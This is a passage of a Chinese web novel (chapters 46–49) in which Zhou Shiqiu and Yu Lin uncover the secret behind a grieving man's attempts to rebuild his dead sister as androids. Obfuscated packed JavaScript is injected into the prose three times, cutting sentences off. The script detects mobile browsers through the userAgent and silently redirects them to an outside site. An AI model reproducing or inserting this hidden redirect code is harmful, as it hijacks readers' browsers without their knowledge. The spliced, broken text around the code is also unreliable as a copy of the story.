周拾秋端坐在沙发上,装傻充愣道:“嗯?解释什么?” 庾林被气笑了,踱步到周拾秋面前,直勾勾盯着她的眼睛,开门见山问道:“你为什么要接吕鸿远这单生意?” 周拾秋故作思索,继续装傻:“难道吕鸿远不打算给钱,所以你才不接?啊,我真不知道,没关系,我可以帮你催债。” 庾林从她眼睛中看出了隐藏的情绪,没有理会周拾秋的胡言乱语,眉心微皱,诧异地说:“你这敌意从哪里来的?我最近好像没得罪你……” 周拾秋心里咯噔一下,自认为没表现出争锋相对,怎么会有种被看穿的感觉? 一瞬间,心里涌起摊牌的冲动,她也想质问庾林为何五年前要选择背刺,这股冲动在酒意的熏染下,愈发浓烈。 脑中突然闪过家人和朋友的脸,理智重新夺回了控制权。 夜白鹭与进化者不完全相同,如果她摊牌了,结局会如何,一切都是未知,她不相信庾林,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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如果细想,的确不同,卓女士能轻易毁掉仿生人,吕鸿远能复制多个仿生人,本质上并无多大不同,他们清楚地知道,仿生人只是商品罢了。 那么,同样只把仿生人当商品的庾林又为何会拒绝送上门的生意呢? “好吧,算我想错了。”周拾秋不情不愿地认了句错,“那你的目的是什么?你们不是好兄弟么?” “为了藏住秘密。”庾林给出了意料之外的答案。 周拾秋一脸疑惑,明知不该过问,却还是忍不住,“什么秘密?” 对于庾林是否愿意回答这个问题,周拾秋不抱希望,可是一阵沉默后,庾林轻叹一声,低声回答:“筱晴喜欢的人不是我。” “怎么可能?吕鸿远亲口说你拒绝了吕筱晴。”周拾秋满脸写着不相信。 在她心里,庾林是个为了自身利益,可以牺牲他人的家伙,因此,她对庾林自然带着一种不信任的滤镜。 “根本就没有表白这回事……”庾林说。 “什么意思?是吕鸿远的误会?”周拾秋不解。 “是,也不全是。”庾林含糊其辞。 本就好奇心作祟,如今谜底就像快到嘴边又突然飞走的猎物,勾得周拾秋完全静不下心,却又不得不耐着性子等待庾林继续说下去。 庾林见她满心满眼只剩对真相的渴求,不禁觉得好笑。 “这个秘密我可以告诉你,反正这单生意是你应下的,那就由你来决定如何交易下去。” 46. 第046章 庾林与吕家兄妹从小便相识,三人青梅竹马一同长大,在吕家老房子度过了不知多少日子。 那老房子正是现在皆来食的所在地。 回忆中,有欢笑,有打闹,有豪言壮志,有畅所欲言,分享快乐,也分担烦恼。 三人性格各异,维系在他们之间的感情,有最纯粹的友谊,也有不是亲人甚似亲人的亲情。 只是随着各自成长,曾经那些纯粹的感情,逐渐熏染上复杂的颜色。 人,终究是复杂的生物,时刻都在改变,外在的改变,内在的改变。 他们从无忧无虑,沉浸在毫无烦恼的童年世界,到互诉烦恼,开始着眼于现实的脚步。 这三个性格迥异的伙伴,也终于寻找到属于各自的道路,拥有了独属于自己的梦想。 庾林热衷于仿生人设计,吕鸿远偏好造景艺术,吕筱晴沉迷于美食创造。 三人也为了完成梦想,拼命努力,只是谁也无法预测,前方等待自己的会是怎样一番景象。 吕鸿远上高三时,双亲因意外去世,留下兄妹俩相依为命,好在父母留下的遗产足够支撑二人生活和完成学业。 原本家里亲戚想收养两人,但已满十八岁的吕鸿远拒绝了亲戚的好意,留在老房子里,一边上学,一边照顾小四岁的妹妹。 后来考大学,吕鸿远为了方便走读,没有选择去外地,而就近选择了凌沪市本地大学。 这一年,吕筱晴初三,庾林高二,学业逐渐繁重,三人聚少离多,但只要聚在一起,就还同过去一般快乐。 再后来,庾林上大学,离开了凌沪市,三人相聚的时间变得更少,一年或许只有等到寒暑假才能见上一面。但三人的感情,并没有因为空间上的间隔而变淡。 三个各有所成,吕鸿远如愿成了知名造景大师,庾林也按照计划当上了仿生人设计师,至于吕筱晴,她开了一家属于自己的创意菜餐厅——皆来食。 生活原本平静,庾林与二人虽不常相聚,但偶尔会通过视频电话聊聊天。 这样的关系却在五年前出现了转折。 L458年7月14日,庾林遭遇绑架,在一场大火中幸免于难。可就是这场绑架案,彻底改变了庾林的一生。 被救回家的庾林,变得无法忍受异性的碰触,包括最爱他的母亲。任何异性稍微接触他的皮肤,都会让他的心脏超负荷运转,失去行动能力,意识逐渐消散,直至休克,死亡。 对于这一发现,当时成为他主治医生的张信判定为应激性心理障碍,俗称心病,需要长时间的心理疏导来实现自愈。 然而当时庾林还不知道,这只是灾难的开始。 吕家兄妹俩听说庾林死里逃生,第二天便上门拜访。 庾林自然乐意,在那场大火后,他心中藏了许多秘密,而吕家兄妹俩正是最好的倾诉对象。 可惜,倾诉的愿望并未达成,他反倒多了恼人的秘密。 就是这一天,他看到吕筱晴的眼睛时,第一次看到了他人内心的欲望。 那里面,除了对他的关心,还隐藏着无比浓厚的爱意,不是对他,而是对吕鸿远。 为了确认自己是不是产生了幻觉,庾林支走了吕鸿远,并小心向吕筱晴求证,结果令他意外,吕筱晴被他看穿,落荒而逃。 也正是这种突然出现的读心能力,让他离开了庾家,离开了凌沪市,在外地静养了两年。 三年前重回凌沪市,庾林成为了态宇仿生科技的定制仿生设计总监,世人皆认为,他是凭借庾家少爷的身份,空降到这个职位上,却没人在意他实际是因实力被态宇聘请。 回凌沪市后,庾林将自己锁在了天宫酒店里,谁也不见。 只有某天晚上,吕筱晴背着吕鸿远,一个人悄悄来到天宫酒店,与庾林见了一面。 时隔两年,再提到两年前的糟心事时,两人内心都变得平静,言辞不再激烈。 “小林哥,那天从庾家逃走后,哥哥问我缘由,我撒了慌。”吕筱晴带着点羞涩说道。 “我知道,没关系。”庾林轻声说道。 “你知道?怎么会?哥哥找过你了?”吕筱晴惊讶地望着庾林。 “没有,只是你什么都写在脸上,太容易被看穿了。”庾林胡诌道。 吕筱晴松了口气,娇嗔道:“也对,不然两年前也不会被你看穿了,所以你不会怪我吧?我拿你当挡箭牌,告诉哥哥,我跟你表白被你拒绝了。” 庾林眼神柔和地摇了摇头,本想摸摸吕筱晴的头,可看着手上戴着的黑皮手套,他又默默垂下了手。 “不怪你。”他说,“但你打算一辈子都不让他知道真相吗?” “我一厢情愿罢了,干嘛要让哥哥烦恼,我们可是兄妹啊,说了又能怎样呢……”吕筱晴笑容很淡。 庾林说:“严格说你们不算亲兄妹,你是被吕家收养的,你自己很清楚。” “但他现在只能是我哥哥,没关系,我已经放下了。”吕筱晴冲庾林灿烂一笑,嘴角两边的梨涡掩盖了忧伤。 可庾林看得见,吕筱晴心里并未放下,只是打算将这份感情一直隐藏下去,默默消化。 这是庾林最后一次见吕筱晴。 大约过了半年,许久不见的吕鸿远登门,给庾林带来了最坏的消息——吕筱晴死了。 几天前,吕筱晴独自出海散心,却再也没回来。吕鸿远找人多方寻找,最终却迎来吕筱晴在海难中丧生的噩耗。 那一天,吕鸿远再无从前的光彩,他仿佛电力耗尽随时会被扔进垃圾桶的电池,一脸颓丧,说话时眼神中透着癫狂。 他求庾林帮他定制仿生人,要和吕筱晴生前一模一样。 庾林言辞强硬地拒绝了,他第一次恼怒地对吕鸿远吼道:“你我都清楚,筱晴死了!不可能再活过来了!你就算以她为原型制作仿生人,又能怎样,这能让你觉得筱晴还活着吗?清醒点,你不是守旧者!” “我从没像现在这样,希望我是守旧者……”吕鸿远绝望地跪在地上,嘴里呢喃,“可我没有别的办法了,我想跟她道歉,她离开前一天,我不该跟她吵架,不该对她说气话。” “我听说她来找过你,气她还不死心,于是骂了她,她哭了,说已经放下了,可我没信,我让她不要去纠缠一个不爱自己的人,我们大吵一架,她生气了,她从来没那么生气过……” “是我错了,我不该不顾筱晴的感受,她一定是怪我不信她……” “我怎么那么蠢,我干嘛不相信她?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886533|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我不该放她一个人离开……” “只有你,只有你能做出跟筱晴一模一样的仿生人,你一定要帮我。” 倾诉逐渐演变成狂躁的自责,地上的男人拼命用手捶打着地板,发泄着心中的痛苦,癫狂中忽又燃起希望,他跪求庾林帮忙定制仿生人。 从吕鸿远的眼中,庾林看到的是强烈的悔恨,却没有与吕筱晴对等的爱意。 那一刻,庾林犹豫了。 他要将这个残忍的真相告诉吕鸿远吗? 吕鸿远如果知道了,会如何? 这份爱意太沉重,让庾林无法预估未来会发生什么事。他已经失去一个朋友,不想再失去另一个。如果只是悔恨,或许时间会逐渐疗愈一切。 任何人的逝去,终将成为一份回忆,藏进心里,起初想起时会痛,可时间久了,这份痛自然就会变淡,虽然依旧存在,却再也不致命。 于是,庾林拒绝了。 那一天,吕鸿远为此事与庾林大吵大闹,二人甚至大打出手,从此分道扬镳,再无往来。 庾林只是悄悄遣人打听消息,得知吕鸿远从那以后好像变了一个人,辞掉工作,经营起皆来食餐厅。 吕鸿远并没有就此放弃定制仿生人,庾林不愿意,他便找其他设计师,花了大笔积蓄,最终成品却始终不能让他满意。 他不知道为什么,明明自己是最了解吕筱晴的人,可最后做出来的仿生人总让他感觉不是吕筱晴。 前前后后做了三个仿生人,最终他不再求助其他设计师,他清楚的知道,只有庾林能帮他做出一模一样的仿生人。 于是,他将三个仿生人都留在了皆来食做服务生,并取了与妹妹类似的名字。 或许在吕鸿远的内心,还是希望自己能相信吕筱晴还跟他在一起,即便他有清醒的认知——那三个仿生人,都只是赝品。 两年半的时间就此过去,可吕鸿远依然没走出失去妹妹的阴霾。 大概,他觉得亏欠吕筱晴,所以才放弃自己的人生,努力将皆来食打造成了凌沪市自由区首屈一指的创意菜餐馆。 只有庾林知道,他这么做还有一个目的,是想让庾林做不到视而不见,要让皆来食这个名字时刻出现在他眼前,让他无法逃离,让他忘不掉吕筱晴这个人。 时间本该将一切冲淡,奈何中间横插进了一个周拾秋。 当听说庾林来到皆来食的消息时,吕鸿远无神的眼睛中终于燃起一点光,似乎终于有一只手,要将他从那片充满死气的沼泽里拉出。 他是不是很快就可以再次见到吕筱晴了呢? 带着忐忑,他与庾林见面了,并简简单单用一顿饭就换得一场交易。 他觉得,庾林已经淡忘了,甚至有了喜欢的人,这世上似乎只剩下他一个人,被留在了两年前。 真正的庾林再见到吕鸿远,是在那场莫名其妙的聚餐之后,一脸颓丧却又满怀希望的吕鸿远叫住了他。 从吕鸿远眼中,庾林看到的已经不再是悔恨,而是一种偏执,是他自己将自己束缚在过去,并以此作为惩罚手段。 “我不会帮你定制仿生人。”庾林冷冷开口,“但我可以告诉你缺少的参数,至于是否采用,决定权在你,明早10点,来佑民医院找我。” 47. 第047章 庾林将来龙去脉说与周拾秋听,只是在细节处隐去了自己的读心能力,只道是察言观色猜中了别人的心思。 听完故事后,周拾秋陷入了沉思。 涉及感情这种事,周拾秋的经验全来自生活与电视剧,她连自己的感情都分不清,又何德何能替别人解决这么复杂的感情问题。 于是她一脸纠结,向庾林打探着普通人的处理方式。 周拾秋:“知道对方喜欢自己,应该是件令人开心的事吧?” 庾林:“看是哪种喜欢。” 周拾秋:“还能有令人苦恼的喜欢?” 庾林:“如果会破坏原本想要维系的关系,多少会犹豫。” 周拾秋:“那就别告诉吕鸿远了。” 庾林:“可以,那这个参数可以改为:吕筱晴心有所属,却是一段不能让人知道,也无法开花结果的单相思。” 周拾秋:“吕鸿远能信吗?” 庾林:“会,这样做出来的仿生人,行为模式会无限接近原型。” 周拾秋:“可并不是原型。” 庾林:“别多想,仿生人从来不是原型,也没人会将它当原型。” 周拾秋:“明知不是真的,却还要这么做,你们理想者真是让人难懂……” 庾林:“人都是复杂的,只有仿生人,不会做出超出预期的选择,所以,你想好你的选择了吗?” 周拾秋:“没有!” 庾林:“那你慢慢想,明早10点,你的答案决定交易的结果。” 将难题扔给周拾秋,庾林便悠哉地继续躺床养病了。 周拾秋带着满脑子的疑问离开了2003病室,又一次走进2004病室,坐到窗边,埋头苦恼着。 到底该不该说? 哪有什么正确答案,都不过是一种选择,而最终导向的结局皆是未知。 其实做选择的人不该是她,也不该是庾林,而是身为当事人的吕筱晴和吕鸿远。 心中逐渐有了答案,周拾秋独自一人离开了医院。 她打车又回到了皆来食,在院门口见到了举着木板的晓风。 “咦?小林哥的朋友?你有什么东西落在店里了吗?”晓风热情地招呼。 周拾秋摆了摆手:“啊,不是,只是庾总监有些问题让我来问问店主,请问方便吗?” 晓风闻言让周拾秋在外面稍等,放下木板,一蹦一跳进了院子,看样子是去问吕鸿远的意见。 心中有些忐忑,周拾秋站在门口东张西望,发现依然有慕名而来的人在四周逗留,有的人不甘心就此离去,有的人拍照留念,也有人单纯凑热闹或梦想着捡漏。 自从品尝了一回吕鸿远做的菜后,周拾秋对其为何能火很是认同。 与其说吃了一顿饭,不如说品了一部戏,并且这个故事正是关于他们三人的。 就在周拾秋陷入回想时,轻快的脚步声由远及近,打断了她的思绪,晓风推门而出,冲周拾秋招了招手,随后带她进了院子。 周拾秋跟在晓风身后,看着那个蹦蹦跳跳的背影,忽然问道:“你喜欢庾林吗?” 晓风闻言停下来脚步,微微带着点诧异回过头,说:“喜欢啊,我们从小一起长大,他跟远哥一样疼我,他们俩是我最亲的人!” 周拾秋微微一怔,随即展开笑容,道:“那你真幸福。” “嘻嘻,我也觉得,不过小林哥与远哥吵架了,如果他们能和好就更好了。”晓风说着露出些许愁容,可很快甩了甩头,恢复原有的活力,又一蹦一跳在前面带路。 晓雨在院子里修剪花草,抬头看见周拾秋愣了愣神,随即羞涩地冲她点了点头。 周拾秋脚下一顿,转身向晓雨走去,在晓雨胆怯的眼神和晓风疑惑的眼神双重注视下,站到了晓雨面前。 “你喜欢庾林吗?” 周拾秋双手拢在唇边,神秘兮兮地问。 “你、你干嘛这么问?啊!” 一阵慌乱自晓雨眼底闪过,剪刀一不小心剪掉了一朵花,凄惨地掉落在地上,晓雨惊呼出声,急忙蹲下身,捡起那枝遭受无妄之灾的花,满脸忧伤。 “对不起,我不是故意吓你的。”周拾秋一边道歉,一边往后退去,不敢再打扰那个心碎了一地的姑娘。 继续跟着晓风往前走,她又一次来到了餐厅正门前。 晓雪在餐厅里打扫,透过玻璃看见周拾秋走近,急忙推门迎接,告诉她,吕鸿远在三楼书房。 周拾秋没有立刻进屋,而是转到橱窗前,贴着玻璃,又仔细看了一遍微观造景。 18个微观造景,代表着三人共度的光阴。 “从L442年到L460年,今年是L463年……”周拾秋掰着指头,一边看着,一边默念着。 晓雪冲晓风挥了挥手,将一脸诧异的女孩支走,全程没有催促,只是静静站在周拾秋身后等待。 “客人很喜欢这些造景模型吗?”她柔声问道。 “嗯,做得太漂亮了,请问设计师是哪位?我也想订做这样的艺术品。”周拾秋将手指藏进衣袖,扭头一脸崇拜地赞叹。 晓雪平静的脸上闪过一丝惆怅,手掌覆在橱窗玻璃上,泛着淡蓝光泽的瞳孔中,倒映出一排排微观造景,“这些都是远哥的作品,有些是他成名前的消遣,后来成了习惯,每年筱晴生日,他都会亲自制作一个,一直到筱晴去世。” “这橱窗展示也是他……” “不,这是筱晴开店时的想法,想让来这里的客人都可以欣赏远哥的手艺。” “后来就不做了吗?” “嗯……筱晴去世后,远哥就再没碰过造景了……很可惜……”晓雪温柔的脸上流露出莫名的神伤。 “确实可惜……”周拾秋若有所思,随后调转话题,“你喜欢庾林吗?” “嗯?小林哥?”晓雪先是一愣,随即露出温柔的笑意,“客人说的是哪种喜欢?如果是男女那种,那您不用担心。” 这个回答把周拾秋整不会了,“呃……我担心啥?” “我听远哥说,小林哥是为了讨好喜欢的女孩子,才来皆来食订位。”晓雪意有所指地说了这么一句,后面便不再继续。 周拾秋当然知道,因为这件事本就是她的“功劳”,不过显然晓雪误会了,以为她就是那个人。 “吕鸿远居然还跟你说这些?”周拾秋没有否认,顺着话题探听下去。 “嗯,抱歉,是我多嘴让你不适了吗?”晓雪有些不好意思。 周拾秋赶紧摇头,“没有的事,只是好奇,你听了不生气吗?” “啊?为什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14894085|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢?小林哥有喜欢的人,我自然为他高兴。” 从晓雪的表情上,周拾秋只看到了两个字——真诚。她是真心实意地为庾林感到高兴,这让周拾秋陷入沉思。 与三位仿生人都进行了简单交流后,周拾秋才进屋上楼。 跟着晓雪来到三楼书房,吕鸿远正背对着门站在里面。 房间里堆放着一箱箱手稿,微观造景用的材料堆得哪儿哪儿都是,上面积了一层薄灰,看样子许久未动过。 “庾林让你来问什么?”吕鸿远望着窗外,语气疲惫地问道。 晓雪走后,周拾秋拘谨地站在书桌前,小心翼翼地开口:“他想问问,你对现有的三个仿生人哪里不满意?” 吕鸿远依旧望着窗外,没有回头,轻描淡写地回答:“他不用管其他仿生人,只要按照他的记忆帮我还原就行。” “哦……原来是这样啊。”周拾秋眼前豁然开朗,那些萦绕在心中的谜题似乎有了答案,“庾总监说,如果你的目的只是想确认吕筱晴真实的想法,其实不用找他,也有办法得知。” 她的回答终于让那个颓丧的男人转过了身,踉跄着往前走了几步,双手撑在书桌上,眼中满是震惊。 就算男人半晌没说出一句话,从他的表现,周拾秋也读出了真实的想法——她猜对了。 自从失去读心能力后,这样清晰地读懂一个人还是第一次,只因那个将自己困在过去的男人,已经无心再掩饰。 “如果你想知道真相,就去看看L460年那个微观造景,吕筱晴在里面留下了最后一个心愿,或许可以解答你的疑问。” 周拾秋淡定地说出这段话,样子像极了只是代为转述,不带任何私人情感。 吕鸿远一脸错愕,抹了一把脸,试图让自己冷静下来,随即又生出些怀疑,“他怎么知道这些?” “你应该记得吧,在你与吕筱晴发生争执前,吕筱晴曾去找过庾林,是那时她告诉庾林的。”周拾秋应对自如。 回溯记忆,这一下吕鸿远不再怀疑,当即转身绕过书桌,撇下周拾秋向楼下走去。 周拾秋不紧不慢地跟了上去。 二人一直下到一楼餐厅,吕鸿远最终停在了橱窗前。 晓雪听到动静,急急走了过来,询问吕鸿远有什么需要帮忙。吕鸿远死死盯着橱窗里标注着L460年那个微观造景,呼吸越来越沉重,过了许久才似乎下定决心,吩咐晓雪拿来橱窗钥匙。 在周拾秋的注视下,吕鸿远在微观造景中找到了那所谓的心愿。 一张陈旧泛黄的小纸条出现在吕鸿远面前,他双手颤抖着展开纸条,里面的字迹是如此熟悉,却又多年未见。 “选择家人,放弃了他,这个选择我至今不知对错,希望他能遇见更好的人,拥有更美好的人生。 这个秘密希望远哥永远不知道,否则他一定会自责,觉得耽误了我的人生。 希望我最爱的两位哥哥都能快乐!” 几行字,吕鸿远看了一遍又一遍,最后爆发出绝望的哭声,仿佛失去了全部力量,跌坐在地上。 周拾秋扔下那个希望被掐灭的男人,转身离开了承载太多感情的地方,途中与三个外貌一致性格迥异的仿生人擦肩而过,嘴角露出凉薄的笑。 ——他,终究配不上你。 48. 第048章 离开皆来食后,周拾秋立马给庾林发了条私信,让庾林不用再担心客户找上门,这单生意应该就此终止了。 另外,她还告诉庾林,她已经在回禁仿区的路上了,如果还有别的工作委托,再电话联系。 消息刚发送出去,迅速变成已读状态。 往日这人要么半天不读消息,要么消息已读不回,最近倒像换了个性子,看完消息没过几秒,周拾秋的手机铃声便响了起来。 手机屏幕上显示着“金主爸爸”四个字,周拾秋不情不愿地按下接听键。 “你又对人用异能了?” 电话刚一接通,对面就传来庾林的质问声。 周拾秋有些无语,就好像自己是个危险分子,做什么事都会引起对方的警觉。 “嗯。”周拾秋老实哼了一声。 “你……”庾林支支吾吾半晌,最终小声问道,“不会杀人了吧?” 一股气蹿到胸口,闷得周拾秋捶胸顿足,对着手机直翻白眼,“庾木木,我在你眼里是什么穷凶极恶的人么?” “开个玩笑。” “没听出来!” 电话那头传来一声轻笑,随即收敛,肃声问道:“你去找吕鸿远了?” “嗯。”周拾秋没有隐瞒。 “你跟他说什么了?”庾林的声音稍显紧张。 虽说决定权交给周拾秋了,可他心里多少还是在意,毕竟,这个故事,只有周拾秋置身事外,而他们都是主演。 “庾木木,你这么能察言观色,难道没看出你的朋友,或许知道的不比你少吗?”周拾秋有些气闷,却不知道为什么,也许是为故事里那个女孩觉得不值。 “你想说,吕鸿远知道筱晴的心思?怎么会……” 庾林的声音充满错愕,渐渐弱了下去,他似乎也想到了什么,让他并不敢笃定地反驳。 “我一直在想,为什么皆来食三个长得一模一样的仿生人,性格会如此不同?就算缺少你的帮忙,相同数据下创造出的仿生人也没理由差距那么大吧?”周拾秋问。 庾林站在专业的角度给予解答:“不会,只要参数确定后,制造出的仿生人基本都在一个阈值内。毕竟,仿生人就是仿生人,不能完全模拟出人类千变万化的情感。” 周拾秋:“所以啊,吕鸿远给了三种不一样的数据。” 庾林:“他为什么要这么做?” 周拾秋:“我不知道,反正三个仿生人的区别我已经找到了。” 叫晓雨的仿生人是按照吕筱晴安排的剧本创造的,喜欢庾林却被拒绝了;叫晓风的仿生人是一个很纯粹的版本,没有感情的纠葛,如同年幼时的吕筱晴;叫晓雪的仿生人则是庾林知晓的真相剧本,心里默默藏着一个人。 周拾秋说完后,电话那头沉默了好一会儿,随后释然地笑了。 “原来这才是他悔恨的真正缘由……他一定隐约感觉到了,却不敢肯定。”庾林话中透着一股惆怅。 “我才不管他悔恨不悔恨呢,既然他对吕筱晴没有那种心思,又何毕借仿生人去探寻一个已死之人的心意呢!” 周拾秋越说越激动,或许自小生活在禁仿区,让她对理想者将仿生人视作工具的行为很是反感。 “也许是怕自己想错了,难怪他会因为筱晴来见我而大发雷霆,他内心是真的希望筱晴喜欢的人是我,而不是他猜想的那样。”庾林淡淡地说道。 “这何尝不是一种自私?他做仿生人就是为了证明自己没有猜错吧?这样他就可以减轻心里愧疚,否则就变成,因他胡思乱想造成的争吵,害吕筱晴负气独自离家,最终造成了悲剧。”周拾秋愤愤不平地说道。 “所以最后你没有告诉他?” “哼,我才不会告诉他呢!我让他觉得吕筱晴是为了家人放弃了爱情,好心隐瞒却被他误会,就让他一辈子悔恨去吧!” “他能信你?” “从没人能接触的微观造景中找到吕筱晴的许愿信,他很难不信吧?虽然那只是我在他意识中植入的一段虚假记忆。” “……真有你的……” “你如果可怜你这位朋友,也可以选择将真相告诉他。” “我说过了,这单生意的决定权在你,我的决定在两年前就做过了。”庾林长叹一口气,“无论是哪种真相,如何面对都是自己的课题,旁人帮不了。” “庾总监真看得开……你朋友可就未必了。” 周拾秋回头望了一眼那间闹中取静的院子,依然不知自己的决定是否正确。 不管怎样,这件事都已经有了结果,谁都不需要再挣扎了,无论是吕筱晴,还是吕鸿远,亦或是庾林。 他们三人的故事,早就在吕筱晴离世的那一刻翻篇,从此三人各奔东西。 庾林突然开口问道:“说起来,你如何发现吕鸿远知晓筱晴心意?靠异能逼供?” “啧,你嘴里就没一句好话!”周拾秋忍不住骂道,“你会察言观色,我会看景可以吗?” “看什么景?” “你知道皆来食餐厅门前橱窗里放着18个微观造景吧?” “嗯,是吕鸿远送给筱晴的礼物。” “可年份居然是从L442年一直到L460年!”周拾秋惊呼道。 “有什么奇怪的?”庾林不解。 周拾秋慢条斯理地解释:“L460年是三年前啊,五年前你们不是吵架了吗?按照吕筱晴的剧本,她跟你表白被拒,后来你就离开了凌沪市,那凭什么L458年到L460年的微观造景里,还能是三个小人儿呢?” 庾林:“远哥念旧?” 周拾秋感觉拳头都硬了,咬着牙说:“念你个头啊,如果你妹被人甩了,你会故意在你妹面前提那个家伙,恶心你妹吗?” “噗——” 对面发出一声爆笑,随即开启调侃:“什么时候我们乌鸦小姐也懂人情世故了。” “哼,我才不像你,白眼狼……”周拾秋一下有些气闷,突然想起夜白鹭被庾林背刺的事。 “白眼狼?乌鸦小姐逮到什么词都往我头上放啊……”庾林哭笑不得,“所以,我又哪里得罪你了?” 周拾秋不敢继续说下去,赶紧转移话题:“反正这点我比你懂,至少我以前被人欺负,我弟恨不得跟人拼命,根本不会在我面前提那些人。我就想,吕鸿远之所以舍得将你放进微观造景里,是因为内心排斥只放两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900509|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小人儿。” 手机里传出一阵拍手声,庾林一反常态赞叹道:“恭喜乌鸦小姐,没有惹事,成功解决了一桩难题。” “你还能认可我?真稀奇。”周拾秋忍不住嘲讽。 “我从来不是剥削员工的老板。”庾林轻笑道。 “哦?那有奖金吗?” 庾林毫不留情面地回道:“就知道钱,别忘了这生意是谁替我招惹上的,最多奖励你提前下班回家休息。” 啧,果然一点没变! 周拾秋冲着手机屏幕摆了个鬼脸,随即挂断了电话。 从自由区返回禁仿区花店,周拾秋像只无尾熊一样挂在齐绮身后,这个生意让她觉得很累,倒不是身体疲惫,而是心累。 这些感情对她来说太复杂,或许还因为两区本质的差异,她一时很难消化,只能挂在齐绮身上充电。 “如果哪天我人不在了,你会订做一个像我的仿生人陪在你身边吗?”周拾秋双手圈住齐绮的脖子,有气无力地提问。 齐绮反手敲了敲她的脑袋,骂道:“你在自由区待傻啦?这里是禁仿区,我订做仿生人干嘛?找骂吗?以后谁还敢来我们店里买花?” 周拾秋抽出一只手揉了揉脑袋,撒娇道:“哎呀,人家只是说如果嘛,发散思维,不要拘泥于现实。” 齐绮一脸认真地想了想,说:“肯定不做啊,万一你哪天回来,看到我做个像你的仿生人,你不膈应?” “如果是回不来的那种呢?” 周拾秋话音刚落,立马被齐绮随手抽出的花茎敲了脑袋,这一敲,她终于松了手,从齐绮的背上滑坐到了地上,双手抱头,一脸委屈相。 “又说什么胡话喃!”齐绮没好气地斥责。 “哎呀,都说是如果了,别生气嘛。”周拾秋赔笑道。 “那也肯定不做啊,感情是找不到替代品的。”齐绮一脸严肃地回答。 “啊——”周拾秋叫嚷着,重新从身后抱住齐绮,“果然还是我们守旧者正常些,在自由区待久了,我感觉脑子都快坏了。” 齐绮一脸宠溺,揉了揉周拾秋的脸,又笑骂道:“别闹了,打扰我做事。” “哪里打扰了,反正也没客人。”周拾秋笑道。 今日的确冷清得有些异常,上午关了半天店,可齐绮回来就开了店门,然而一个客人也没进过门,直到周拾秋从自由区回来,也是一个人影都没见过。 放在平日,或许能说上班的人多,所以来买花的人少,可今天还是周末,不少人路过,却没一人进门,多少有些反常。 看着齐绮露出愁容,周拾秋又赶紧安慰:“也许想买花的客人上午来看关了门,所以下午就没人来了吧。” “嗯,可能。”齐绮点了点头,似乎也只有这个理由听上去最合理。 一直等到黄昏时分,二人带着些遗憾关了店门,随意点了外卖,解决了晚饭问题。 吃过晚饭,周拾秋回到房间,满屋的花束还未收拾,不太方便下脚。 她小心翼翼顺着缝隙前进,坐到了书桌旁,打开电脑,登录账号,看了看聊天大厅里的新消息,竟意外看到有人在讨论自由区的自杀案,她便悄悄潜水进去。 49. 第049章 【听说自由区又有人自杀了。】 【新闻都没报道,你怎么知道?】 【我兄弟跟那人签了私危协议,他都被警方请去配合调查了,我能不知道吗?】 【真的假的?这么刺激?】 【啥意思啊?敢情委托人自杀,还要怀疑我们这些打工人?】 【据说是自杀时发起了紧急委托,瑞波恩有数据,还有理想者非说我兄弟出现在现场过,可那晚他明明跟我在酒吧。】 【我去,理想者疯了吧,乱咬!】 【真惨,被迫承受死亡痛苦,还要被冤枉,理想者打得一手好牌。】 【等下,你兄弟拿到遗产了吗?细说。】 周拾秋看到这里,突然被踢出了聊天室,然后才发现刚才的聊天室被封禁,而聊天大厅上空播报起爆料者因造谣被封号一个月的处罚通知。 遗产继承协议一直是个禁忌话题。 她忍不住吐槽:“呵,瑞波恩你们在干嘛呀,暗魈又可以拿你们捂嘴大做文章了。” 退出聊天大厅,周拾秋才发现庾林发了一条私信。 【木木:明天休息,后天出院,会有委托任务。】 几分钟前发的消息,简短得不像话,太有庾林的风格,周拾秋便不冷不热地回了两个字:“收到。” 第二天无事,周拾秋难得跟齐绮一同早起,收拾收拾,吃过早餐,便开门营业。 门口不时有路人走过,大多是上早班的打工人,也有出门晨练的老年人。 周拾秋搬了些店里花束作品和盆栽到门外展示,一边对着花草喷水,一边招呼着潜在的客户。 偶然看见一位常客路过,周拾秋立马热情地打招呼:“郝姐,这次想换什么花?这个天,不选花束,摆枝腊梅也不错呢,要不要看看?” 